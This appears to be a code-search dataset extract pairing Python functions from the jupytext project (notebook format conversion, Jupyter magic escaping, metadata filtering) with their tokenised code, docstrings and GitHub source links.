if _MAGIC_FORCE_ESC_RE.get(language, _MAGIC_FORCE_ESC_RE['python']).match(line):
return True
... | python | def is_magic(line, language, global_escape_flag=True):
"""Is the current line a (possibly escaped) Jupyter magic, and should it be commented?"""
if language in ['octave', 'matlab']:
return False
if _MAGIC_FORCE_ESC_RE.get(language, _MAGIC_FORCE_ESC_RE['python']).match(line):
return True
... | [
"def",
"is_magic",
"(",
"line",
",",
"language",
",",
"global_escape_flag",
"=",
"True",
")",
":",
"if",
"language",
"in",
"[",
"'octave'",
",",
"'matlab'",
"]",
":",
"return",
"False",
"if",
"_MAGIC_FORCE_ESC_RE",
".",
"get",
"(",
"language",
",",
"_MAGIC... | Is the current line a (possibly escaped) Jupyter magic, and should it be commented? | [
"Is",
"the",
"current",
"line",
"a",
"(",
"possibly",
"escaped",
")",
"Jupyter",
"magic",
"and",
"should",
"it",
"be",
"commented?"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/magics.py#L29-L43 | train |
mwouts/jupytext | jupytext/magics.py | comment_magic | def comment_magic(source, language='python', global_escape_flag=True):
"""Escape Jupyter magics with '# '"""
parser = StringParser(language)
next_is_magic = False
for pos, line in enumerate(source):
if not parser.is_quoted() and (next_is_magic or is_magic(line, language, global_escape_flag)):
... | python | def comment_magic(source, language='python', global_escape_flag=True):
"""Escape Jupyter magics with '# '"""
parser = StringParser(language)
next_is_magic = False
for pos, line in enumerate(source):
if not parser.is_quoted() and (next_is_magic or is_magic(line, language, global_escape_flag)):
... | [
"def",
"comment_magic",
"(",
"source",
",",
"language",
"=",
"'python'",
",",
"global_escape_flag",
"=",
"True",
")",
":",
"parser",
"=",
"StringParser",
"(",
"language",
")",
"next_is_magic",
"=",
"False",
"for",
"pos",
",",
"line",
"in",
"enumerate",
"(",
... | Escape Jupyter magics with '# | [
"Escape",
"Jupyter",
"magics",
"with",
"#"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/magics.py#L46-L55 | train |
mwouts/jupytext | jupytext/magics.py | unesc | def unesc(line, language):
"""Uncomment once a commented line"""
comment = _COMMENT[language]
if line.startswith(comment + ' '):
return line[len(comment) + 1:]
if line.startswith(comment):
return line[len(comment):]
return line | python | def unesc(line, language):
"""Uncomment once a commented line"""
comment = _COMMENT[language]
if line.startswith(comment + ' '):
return line[len(comment) + 1:]
if line.startswith(comment):
return line[len(comment):]
return line | [
"def",
"unesc",
"(",
"line",
",",
"language",
")",
":",
"comment",
"=",
"_COMMENT",
"[",
"language",
"]",
"if",
"line",
".",
"startswith",
"(",
"comment",
"+",
"' '",
")",
":",
"return",
"line",
"[",
"len",
"(",
"comment",
")",
"+",
"1",
":",
"]",
... | Uncomment once a commented line | [
"Uncomment",
"once",
"a",
"commented",
"line"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/magics.py#L58-L65 | train |
mwouts/jupytext | jupytext/magics.py | escape_code_start | def escape_code_start(source, ext, language='python'):
"""Escape code start with '# '"""
parser = StringParser(language)
for pos, line in enumerate(source):
if not parser.is_quoted() and is_escaped_code_start(line, ext):
source[pos] = _SCRIPT_EXTENSIONS.get(ext, {}).get('comment', '#') +... | python | def escape_code_start(source, ext, language='python'):
"""Escape code start with '# '"""
parser = StringParser(language)
for pos, line in enumerate(source):
if not parser.is_quoted() and is_escaped_code_start(line, ext):
source[pos] = _SCRIPT_EXTENSIONS.get(ext, {}).get('comment', '#') +... | [
"def",
"escape_code_start",
"(",
"source",
",",
"ext",
",",
"language",
"=",
"'python'",
")",
":",
"parser",
"=",
"StringParser",
"(",
"language",
")",
"for",
"pos",
",",
"line",
"in",
"enumerate",
"(",
"source",
")",
":",
"if",
"not",
"parser",
".",
"... | Escape code start with '# | [
"Escape",
"code",
"start",
"with",
"#"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/magics.py#L91-L98 | train |
mwouts/jupytext | jupytext/magics.py | unescape_code_start | def unescape_code_start(source, ext, language='python'):
"""Unescape code start"""
parser = StringParser(language)
for pos, line in enumerate(source):
if not parser.is_quoted() and is_escaped_code_start(line, ext):
unescaped = unesc(line, language)
# don't remove comment char... | python | def unescape_code_start(source, ext, language='python'):
"""Unescape code start"""
parser = StringParser(language)
for pos, line in enumerate(source):
if not parser.is_quoted() and is_escaped_code_start(line, ext):
unescaped = unesc(line, language)
# don't remove comment char... | [
"def",
"unescape_code_start",
"(",
"source",
",",
"ext",
",",
"language",
"=",
"'python'",
")",
":",
"parser",
"=",
"StringParser",
"(",
"language",
")",
"for",
"pos",
",",
"line",
"in",
"enumerate",
"(",
"source",
")",
":",
"if",
"not",
"parser",
".",
... | Unescape code start | [
"Unescape",
"code",
"start"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/magics.py#L101-L111 | train |
mwouts/jupytext | jupytext/metadata_filter.py | metadata_filter_as_dict | def metadata_filter_as_dict(metadata_config):
"""Return the metadata filter represented as either None (no filter),
or a dictionary with at most two keys: 'additional' and 'excluded',
which contain either a list of metadata names, or the string 'all'"""
if metadata_config is None:
return {}
... | python | def metadata_filter_as_dict(metadata_config):
"""Return the metadata filter represented as either None (no filter),
or a dictionary with at most two keys: 'additional' and 'excluded',
which contain either a list of metadata names, or the string 'all'"""
if metadata_config is None:
return {}
... | [
"def",
"metadata_filter_as_dict",
"(",
"metadata_config",
")",
":",
"if",
"metadata_config",
"is",
"None",
":",
"return",
"{",
"}",
"if",
"metadata_config",
"is",
"True",
":",
"return",
"{",
"'additional'",
":",
"'all'",
"}",
"if",
"metadata_config",
"is",
"Fa... | Return the metadata filter represented as either None (no filter),
or a dictionary with at most two keys: 'additional' and 'excluded',
which contain either a list of metadata names, or the string 'all | [
"Return",
"the",
"metadata",
"filter",
"represented",
"as",
"either",
"None",
"(",
"no",
"filter",
")",
"or",
"a",
"dictionary",
"with",
"at",
"most",
"two",
"keys",
":",
"additional",
"and",
"excluded",
"which",
"contain",
"either",
"a",
"list",
"of",
"me... | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/metadata_filter.py#L6-L43 | train |
mwouts/jupytext | jupytext/metadata_filter.py | metadata_filter_as_string | def metadata_filter_as_string(metadata_filter):
"""Convert a filter, represented as a dictionary with 'additional' and 'excluded' entries, to a string"""
if not isinstance(metadata_filter, dict):
return metadata_filter
additional = metadata_filter.get('additional', [])
if additional == 'all':
... | python | def metadata_filter_as_string(metadata_filter):
"""Convert a filter, represented as a dictionary with 'additional' and 'excluded' entries, to a string"""
if not isinstance(metadata_filter, dict):
return metadata_filter
additional = metadata_filter.get('additional', [])
if additional == 'all':
... | [
"def",
"metadata_filter_as_string",
"(",
"metadata_filter",
")",
":",
"if",
"not",
"isinstance",
"(",
"metadata_filter",
",",
"dict",
")",
":",
"return",
"metadata_filter",
"additional",
"=",
"metadata_filter",
".",
"get",
"(",
"'additional'",
",",
"[",
"]",
")"... | Convert a filter, represented as a dictionary with 'additional' and 'excluded' entries, to a string | [
"Convert",
"a",
"filter",
"represented",
"as",
"a",
"dictionary",
"with",
"additional",
"and",
"excluded",
"entries",
"to",
"a",
"string"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/metadata_filter.py#L46-L63 | train |
mwouts/jupytext | jupytext/metadata_filter.py | update_metadata_filters | def update_metadata_filters(metadata, jupyter_md, cell_metadata):
"""Update or set the notebook and cell metadata filters"""
cell_metadata = [m for m in cell_metadata if m not in ['language', 'magic_args']]
if 'cell_metadata_filter' in metadata.get('jupytext', {}):
metadata_filter = metadata_filte... | python | def update_metadata_filters(metadata, jupyter_md, cell_metadata):
"""Update or set the notebook and cell metadata filters"""
cell_metadata = [m for m in cell_metadata if m not in ['language', 'magic_args']]
if 'cell_metadata_filter' in metadata.get('jupytext', {}):
metadata_filter = metadata_filte... | [
"def",
"update_metadata_filters",
"(",
"metadata",
",",
"jupyter_md",
",",
"cell_metadata",
")",
":",
"cell_metadata",
"=",
"[",
"m",
"for",
"m",
"in",
"cell_metadata",
"if",
"m",
"not",
"in",
"[",
"'language'",
",",
"'magic_args'",
"]",
"]",
"if",
"'cell_me... | Update or set the notebook and cell metadata filters | [
"Update",
"or",
"set",
"the",
"notebook",
"and",
"cell",
"metadata",
"filters"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/metadata_filter.py#L66-L86 | train |
mwouts/jupytext | jupytext/metadata_filter.py | apply_metadata_filters | def apply_metadata_filters(user_filter, default_filter, actual_keys):
"""Apply the filter and replace 'all' with the actual or filtered keys"""
default_filter = metadata_filter_as_dict(default_filter) or {}
user_filter = metadata_filter_as_dict(user_filter) or {}
for key in ['additional', 'excluded']:... | python | def apply_metadata_filters(user_filter, default_filter, actual_keys):
"""Apply the filter and replace 'all' with the actual or filtered keys"""
default_filter = metadata_filter_as_dict(default_filter) or {}
user_filter = metadata_filter_as_dict(user_filter) or {}
for key in ['additional', 'excluded']:... | [
"def",
"apply_metadata_filters",
"(",
"user_filter",
",",
"default_filter",
",",
"actual_keys",
")",
":",
"default_filter",
"=",
"metadata_filter_as_dict",
"(",
"default_filter",
")",
"or",
"{",
"}",
"user_filter",
"=",
"metadata_filter_as_dict",
"(",
"user_filter",
"... | Apply the filter and replace 'all' with the actual or filtered keys | [
"Apply",
"the",
"filter",
"and",
"replace",
"all",
"with",
"the",
"actual",
"or",
"filtered",
"keys"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/metadata_filter.py#L89-L119 | train |
mwouts/jupytext | jupytext/metadata_filter.py | filter_metadata | def filter_metadata(metadata, user_filter, default_filter):
"""Filter the cell or notebook metadata, according to the user preference"""
actual_keys = set(metadata.keys())
keep_keys = apply_metadata_filters(user_filter, default_filter, actual_keys)
for key in actual_keys:
if key not in keep_key... | python | def filter_metadata(metadata, user_filter, default_filter):
"""Filter the cell or notebook metadata, according to the user preference"""
actual_keys = set(metadata.keys())
keep_keys = apply_metadata_filters(user_filter, default_filter, actual_keys)
for key in actual_keys:
if key not in keep_key... | [
"def",
"filter_metadata",
"(",
"metadata",
",",
"user_filter",
",",
"default_filter",
")",
":",
"actual_keys",
"=",
"set",
"(",
"metadata",
".",
"keys",
"(",
")",
")",
"keep_keys",
"=",
"apply_metadata_filters",
"(",
"user_filter",
",",
"default_filter",
",",
... | Filter the cell or notebook metadata, according to the user preference | [
"Filter",
"the",
"cell",
"or",
"notebook",
"metadata",
"according",
"to",
"the",
"user",
"preference"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/metadata_filter.py#L122-L131 | train |
mwouts/jupytext | jupytext/languages.py | default_language_from_metadata_and_ext | def default_language_from_metadata_and_ext(metadata, ext):
"""Return the default language given the notebook metadata, and a file extension"""
default_from_ext = _SCRIPT_EXTENSIONS.get(ext, {}).get('language', 'python')
language = (metadata.get('jupytext', {}).get('main_language')
or metada... | python | def default_language_from_metadata_and_ext(metadata, ext):
"""Return the default language given the notebook metadata, and a file extension"""
default_from_ext = _SCRIPT_EXTENSIONS.get(ext, {}).get('language', 'python')
language = (metadata.get('jupytext', {}).get('main_language')
or metada... | [
"def",
"default_language_from_metadata_and_ext",
"(",
"metadata",
",",
"ext",
")",
":",
"default_from_ext",
"=",
"_SCRIPT_EXTENSIONS",
".",
"get",
"(",
"ext",
",",
"{",
"}",
")",
".",
"get",
"(",
"'language'",
",",
"'python'",
")",
"language",
"=",
"(",
"met... | Return the default language given the notebook metadata, and a file extension | [
"Return",
"the",
"default",
"language",
"given",
"the",
"notebook",
"metadata",
"and",
"a",
"file",
"extension"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/languages.py#L22-L33 | train |
mwouts/jupytext | jupytext/languages.py | set_main_and_cell_language | def set_main_and_cell_language(metadata, cells, ext):
"""Set main language for the given collection of cells, and
use magics for cells that use other languages"""
main_language = (metadata.get('kernelspec', {}).get('language') or
metadata.get('jupytext', {}).get('main_language') or
... | python | def set_main_and_cell_language(metadata, cells, ext):
"""Set main language for the given collection of cells, and
use magics for cells that use other languages"""
main_language = (metadata.get('kernelspec', {}).get('language') or
metadata.get('jupytext', {}).get('main_language') or
... | [
"def",
"set_main_and_cell_language",
"(",
"metadata",
",",
"cells",
",",
"ext",
")",
":",
"main_language",
"=",
"(",
"metadata",
".",
"get",
"(",
"'kernelspec'",
",",
"{",
"}",
")",
".",
"get",
"(",
"'language'",
")",
"or",
"metadata",
".",
"get",
"(",
... | Set main language for the given collection of cells, and
use magics for cells that use other languages | [
"Set",
"main",
"language",
"for",
"the",
"given",
"collection",
"of",
"cells",
"and",
"use",
"magics",
"for",
"cells",
"that",
"use",
"other",
"languages"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/languages.py#L36-L65 | train |
mwouts/jupytext | jupytext/languages.py | cell_language | def cell_language(source):
"""Return cell language and language options, if any"""
if source:
line = source[0]
if line.startswith('%%'):
magic = line[2:]
if ' ' in magic:
lang, magic_args = magic.split(' ', 1)
else:
lang = magic... | python | def cell_language(source):
"""Return cell language and language options, if any"""
if source:
line = source[0]
if line.startswith('%%'):
magic = line[2:]
if ' ' in magic:
lang, magic_args = magic.split(' ', 1)
else:
lang = magic... | [
"def",
"cell_language",
"(",
"source",
")",
":",
"if",
"source",
":",
"line",
"=",
"source",
"[",
"0",
"]",
"if",
"line",
".",
"startswith",
"(",
"'%%'",
")",
":",
"magic",
"=",
"line",
"[",
"2",
":",
"]",
"if",
"' '",
"in",
"magic",
":",
"lang",... | Return cell language and language options, if any | [
"Return",
"cell",
"language",
"and",
"language",
"options",
"if",
"any"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/languages.py#L68-L84 | train |
mwouts/jupytext | jupytext/languages.py | comment_lines | def comment_lines(lines, prefix):
"""Return commented lines"""
if not prefix:
return lines
return [prefix + ' ' + line if line else prefix for line in lines] | python | def comment_lines(lines, prefix):
"""Return commented lines"""
if not prefix:
return lines
return [prefix + ' ' + line if line else prefix for line in lines] | [
"def",
"comment_lines",
"(",
"lines",
",",
"prefix",
")",
":",
"if",
"not",
"prefix",
":",
"return",
"lines",
"return",
"[",
"prefix",
"+",
"' '",
"+",
"line",
"if",
"line",
"else",
"prefix",
"for",
"line",
"in",
"lines",
"]"
] | Return commented lines | [
"Return",
"commented",
"lines"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/languages.py#L87-L91 | train |
mwouts/jupytext | jupytext/stringparser.py | StringParser.read_line | def read_line(self, line):
"""Read a new line"""
if self.ignore:
return
for i, char in enumerate(line):
if char not in ['"', "'"]:
continue
# Is the char escaped?
if line[i - 1:i] == '\\':
continue
if s... | python | def read_line(self, line):
"""Read a new line"""
if self.ignore:
return
for i, char in enumerate(line):
if char not in ['"', "'"]:
continue
# Is the char escaped?
if line[i - 1:i] == '\\':
continue
if s... | [
"def",
"read_line",
"(",
"self",
",",
"line",
")",
":",
"if",
"self",
".",
"ignore",
":",
"return",
"for",
"i",
",",
"char",
"in",
"enumerate",
"(",
"line",
")",
":",
"if",
"char",
"not",
"in",
"[",
"'\"'",
",",
"\"'\"",
"]",
":",
"continue",
"# ... | Read a new line | [
"Read",
"a",
"new",
"line"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/stringparser.py#L21-L55 | train |
mwouts/jupytext | demo/Matplotlib example.py | filled_hist | def filled_hist(ax, edges, values, bottoms=None, orientation='v',
**kwargs):
"""
Draw a histogram as a stepped patch.
Extra kwargs are passed through to `fill_between`
Parameters
----------
ax : Axes
The axes to plot to
edges : array
A length n+1 array givi... | python | def filled_hist(ax, edges, values, bottoms=None, orientation='v',
**kwargs):
"""
Draw a histogram as a stepped patch.
Extra kwargs are passed through to `fill_between`
Parameters
----------
ax : Axes
The axes to plot to
edges : array
A length n+1 array givi... | [
"def",
"filled_hist",
"(",
"ax",
",",
"edges",
",",
"values",
",",
"bottoms",
"=",
"None",
",",
"orientation",
"=",
"'v'",
",",
"*",
"*",
"kwargs",
")",
":",
"print",
"(",
"orientation",
")",
"if",
"orientation",
"not",
"in",
"set",
"(",
"'hv'",
")",... | Draw a histogram as a stepped patch.
Extra kwargs are passed through to `fill_between`
Parameters
----------
ax : Axes
The axes to plot to
edges : array
A length n+1 array giving the left edges of each bin and the
right edge of the last bin.
values : array
A l... | [
"Draw",
"a",
"histogram",
"as",
"a",
"stepped",
"patch",
"."
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/demo/Matplotlib example.py#L23-L81 | train |
mwouts/jupytext | demo/Matplotlib example.py | stack_hist | def stack_hist(ax, stacked_data, sty_cycle, bottoms=None,
hist_func=None, labels=None,
plot_func=None, plot_kwargs=None):
"""
ax : axes.Axes
The axes to add artists too
stacked_data : array or Mapping
A (N, M) shaped array. The first dimension will be iterated... | python | def stack_hist(ax, stacked_data, sty_cycle, bottoms=None,
hist_func=None, labels=None,
plot_func=None, plot_kwargs=None):
"""
ax : axes.Axes
The axes to add artists too
stacked_data : array or Mapping
A (N, M) shaped array. The first dimension will be iterated... | [
"def",
"stack_hist",
"(",
"ax",
",",
"stacked_data",
",",
"sty_cycle",
",",
"bottoms",
"=",
"None",
",",
"hist_func",
"=",
"None",
",",
"labels",
"=",
"None",
",",
"plot_func",
"=",
"None",
",",
"plot_kwargs",
"=",
"None",
")",
":",
"# deal with default bi... | ax : axes.Axes
The axes to add artists too
stacked_data : array or Mapping
A (N, M) shaped array. The first dimension will be iterated over to
compute histograms row-wise
sty_cycle : Cycler or operable of dict
Style to apply to each set
bottoms : array, optional
T... | [
"ax",
":",
"axes",
".",
"Axes",
"The",
"axes",
"to",
"add",
"artists",
"too"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/demo/Matplotlib example.py#L84-L178 | train |
mwouts/jupytext | jupytext/__init__.py | load_jupyter_server_extension | def load_jupyter_server_extension(app): # pragma: no cover
"""Use Jupytext's contents manager"""
if isinstance(app.contents_manager_class, TextFileContentsManager):
app.log.info("[Jupytext Server Extension] NotebookApp.contents_manager_class is "
"(a subclass of) jupytext.TextFileC... | python | def load_jupyter_server_extension(app): # pragma: no cover
"""Use Jupytext's contents manager"""
if isinstance(app.contents_manager_class, TextFileContentsManager):
app.log.info("[Jupytext Server Extension] NotebookApp.contents_manager_class is "
"(a subclass of) jupytext.TextFileC... | [
"def",
"load_jupyter_server_extension",
"(",
"app",
")",
":",
"# pragma: no cover",
"if",
"isinstance",
"(",
"app",
".",
"contents_manager_class",
",",
"TextFileContentsManager",
")",
":",
"app",
".",
"log",
".",
"info",
"(",
"\"[Jupytext Server Extension] NotebookApp.c... | Use Jupytext's contents manager | [
"Use",
"Jupytext",
"s",
"contents",
"manager"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/__init__.py#L18-L55 | train |
mwouts/jupytext | jupytext/jupytext.py | reads | def reads(text, fmt, as_version=4, **kwargs):
"""Read a notebook from a string"""
fmt = copy(fmt)
fmt = long_form_one_format(fmt)
ext = fmt['extension']
if ext == '.ipynb':
return nbformat.reads(text, as_version, **kwargs)
format_name = read_format_from_metadata(text, ext) or fmt.get('... | python | def reads(text, fmt, as_version=4, **kwargs):
"""Read a notebook from a string"""
fmt = copy(fmt)
fmt = long_form_one_format(fmt)
ext = fmt['extension']
if ext == '.ipynb':
return nbformat.reads(text, as_version, **kwargs)
format_name = read_format_from_metadata(text, ext) or fmt.get('... | [
"def",
"reads",
"(",
"text",
",",
"fmt",
",",
"as_version",
"=",
"4",
",",
"*",
"*",
"kwargs",
")",
":",
"fmt",
"=",
"copy",
"(",
"fmt",
")",
"fmt",
"=",
"long_form_one_format",
"(",
"fmt",
")",
"ext",
"=",
"fmt",
"[",
"'extension'",
"]",
"if",
"... | Read a notebook from a string | [
"Read",
"a",
"notebook",
"from",
"a",
"string"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L181-L209 | train |
mwouts/jupytext | jupytext/jupytext.py | read | def read(file_or_stream, fmt, as_version=4, **kwargs):
"""Read a notebook from a file"""
fmt = long_form_one_format(fmt)
if fmt['extension'] == '.ipynb':
notebook = nbformat.read(file_or_stream, as_version, **kwargs)
rearrange_jupytext_metadata(notebook.metadata)
return notebook
... | python | def read(file_or_stream, fmt, as_version=4, **kwargs):
"""Read a notebook from a file"""
fmt = long_form_one_format(fmt)
if fmt['extension'] == '.ipynb':
notebook = nbformat.read(file_or_stream, as_version, **kwargs)
rearrange_jupytext_metadata(notebook.metadata)
return notebook
... | [
"def",
"read",
"(",
"file_or_stream",
",",
"fmt",
",",
"as_version",
"=",
"4",
",",
"*",
"*",
"kwargs",
")",
":",
"fmt",
"=",
"long_form_one_format",
"(",
"fmt",
")",
"if",
"fmt",
"[",
"'extension'",
"]",
"==",
"'.ipynb'",
":",
"notebook",
"=",
"nbform... | Read a notebook from a file | [
"Read",
"a",
"notebook",
"from",
"a",
"file"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L212-L220 | train |
mwouts/jupytext | jupytext/jupytext.py | readf | def readf(nb_file, fmt=None):
"""Read a notebook from the file with given name"""
if nb_file == '-':
text = sys.stdin.read()
fmt = fmt or divine_format(text)
return reads(text, fmt)
_, ext = os.path.splitext(nb_file)
fmt = copy(fmt or {})
fmt.update({'extension': ext})
w... | python | def readf(nb_file, fmt=None):
"""Read a notebook from the file with given name"""
if nb_file == '-':
text = sys.stdin.read()
fmt = fmt or divine_format(text)
return reads(text, fmt)
_, ext = os.path.splitext(nb_file)
fmt = copy(fmt or {})
fmt.update({'extension': ext})
w... | [
"def",
"readf",
"(",
"nb_file",
",",
"fmt",
"=",
"None",
")",
":",
"if",
"nb_file",
"==",
"'-'",
":",
"text",
"=",
"sys",
".",
"stdin",
".",
"read",
"(",
")",
"fmt",
"=",
"fmt",
"or",
"divine_format",
"(",
"text",
")",
"return",
"reads",
"(",
"te... | Read a notebook from the file with given name | [
"Read",
"a",
"notebook",
"from",
"the",
"file",
"with",
"given",
"name"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L223-L234 | train |
mwouts/jupytext | jupytext/jupytext.py | writes | def writes(notebook, fmt, version=nbformat.NO_CONVERT, **kwargs):
"""Write a notebook to a string"""
metadata = deepcopy(notebook.metadata)
rearrange_jupytext_metadata(metadata)
fmt = copy(fmt)
fmt = long_form_one_format(fmt, metadata)
ext = fmt['extension']
format_name = fmt.get('format_nam... | python | def writes(notebook, fmt, version=nbformat.NO_CONVERT, **kwargs):
"""Write a notebook to a string"""
metadata = deepcopy(notebook.metadata)
rearrange_jupytext_metadata(metadata)
fmt = copy(fmt)
fmt = long_form_one_format(fmt, metadata)
ext = fmt['extension']
format_name = fmt.get('format_nam... | [
"def",
"writes",
"(",
"notebook",
",",
"fmt",
",",
"version",
"=",
"nbformat",
".",
"NO_CONVERT",
",",
"*",
"*",
"kwargs",
")",
":",
"metadata",
"=",
"deepcopy",
"(",
"notebook",
".",
"metadata",
")",
"rearrange_jupytext_metadata",
"(",
"metadata",
")",
"f... | Write a notebook to a string | [
"Write",
"a",
"notebook",
"to",
"a",
"string"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L237-L263 | train |
mwouts/jupytext | jupytext/jupytext.py | write | def write(notebook, file_or_stream, fmt, version=nbformat.NO_CONVERT, **kwargs):
"""Write a notebook to a file"""
# Python 2 compatibility
text = u'' + writes(notebook, fmt, version, **kwargs)
file_or_stream.write(text)
# Add final newline #165
if not text.endswith(u'\n'):
file_or_stream... | python | def write(notebook, file_or_stream, fmt, version=nbformat.NO_CONVERT, **kwargs):
"""Write a notebook to a file"""
# Python 2 compatibility
text = u'' + writes(notebook, fmt, version, **kwargs)
file_or_stream.write(text)
# Add final newline #165
if not text.endswith(u'\n'):
file_or_stream... | [
"def",
"write",
"(",
"notebook",
",",
"file_or_stream",
",",
"fmt",
",",
"version",
"=",
"nbformat",
".",
"NO_CONVERT",
",",
"*",
"*",
"kwargs",
")",
":",
"# Python 2 compatibility",
"text",
"=",
"u''",
"+",
"writes",
"(",
"notebook",
",",
"fmt",
",",
"v... | Write a notebook to a file | [
"Write",
"a",
"notebook",
"to",
"a",
"file"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L266-L273 | train |
mwouts/jupytext | jupytext/jupytext.py | writef | def writef(notebook, nb_file, fmt=None):
"""Write a notebook to the file with given name"""
if nb_file == '-':
write(notebook, sys.stdout, fmt)
return
_, ext = os.path.splitext(nb_file)
fmt = copy(fmt or {})
fmt = long_form_one_format(fmt, update={'extension': ext})
create_pref... | python | def writef(notebook, nb_file, fmt=None):
"""Write a notebook to the file with given name"""
if nb_file == '-':
write(notebook, sys.stdout, fmt)
return
_, ext = os.path.splitext(nb_file)
fmt = copy(fmt or {})
fmt = long_form_one_format(fmt, update={'extension': ext})
create_pref... | [
"def",
"writef",
"(",
"notebook",
",",
"nb_file",
",",
"fmt",
"=",
"None",
")",
":",
"if",
"nb_file",
"==",
"'-'",
":",
"write",
"(",
"notebook",
",",
"sys",
".",
"stdout",
",",
"fmt",
")",
"return",
"_",
",",
"ext",
"=",
"os",
".",
"path",
".",
... | Write a notebook to the file with given name | [
"Write",
"a",
"notebook",
"to",
"the",
"file",
"with",
"given",
"name"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L276-L289 | train |
mwouts/jupytext | jupytext/jupytext.py | create_prefix_dir | def create_prefix_dir(nb_file, fmt):
"""Create directory if fmt has a prefix"""
if 'prefix' in fmt:
nb_dir = os.path.dirname(nb_file) + os.path.sep
if not os.path.isdir(nb_dir):
logging.log(logging.WARNING, "[jupytext] creating missing directory %s", nb_dir)
os.makedirs(n... | python | def create_prefix_dir(nb_file, fmt):
"""Create directory if fmt has a prefix"""
if 'prefix' in fmt:
nb_dir = os.path.dirname(nb_file) + os.path.sep
if not os.path.isdir(nb_dir):
logging.log(logging.WARNING, "[jupytext] creating missing directory %s", nb_dir)
os.makedirs(n... | [
"def",
"create_prefix_dir",
"(",
"nb_file",
",",
"fmt",
")",
":",
"if",
"'prefix'",
"in",
"fmt",
":",
"nb_dir",
"=",
"os",
".",
"path",
".",
"dirname",
"(",
"nb_file",
")",
"+",
"os",
".",
"path",
".",
"sep",
"if",
"not",
"os",
".",
"path",
".",
... | Create directory if fmt has a prefix | [
"Create",
"directory",
"if",
"fmt",
"has",
"a",
"prefix"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L292-L298 | train |
mwouts/jupytext | jupytext/jupytext.py | TextNotebookConverter.update_fmt_with_notebook_options | def update_fmt_with_notebook_options(self, metadata):
"""Update format options with the values in the notebook metadata, and record those
options in the notebook metadata"""
# format options in notebook have precedence over that in fmt
for opt in _VALID_FORMAT_OPTIONS:
if opt... | python | def update_fmt_with_notebook_options(self, metadata):
"""Update format options with the values in the notebook metadata, and record those
options in the notebook metadata"""
# format options in notebook have precedence over that in fmt
for opt in _VALID_FORMAT_OPTIONS:
if opt... | [
"def",
"update_fmt_with_notebook_options",
"(",
"self",
",",
"metadata",
")",
":",
"# format options in notebook have precedence over that in fmt",
"for",
"opt",
"in",
"_VALID_FORMAT_OPTIONS",
":",
"if",
"opt",
"in",
"metadata",
".",
"get",
"(",
"'jupytext'",
",",
"{",
... | Update format options with the values in the notebook metadata, and record those
options in the notebook metadata | [
"Update",
"format",
"options",
"with",
"the",
"values",
"in",
"the",
"notebook",
"metadata",
"and",
"record",
"those",
"options",
"in",
"the",
"notebook",
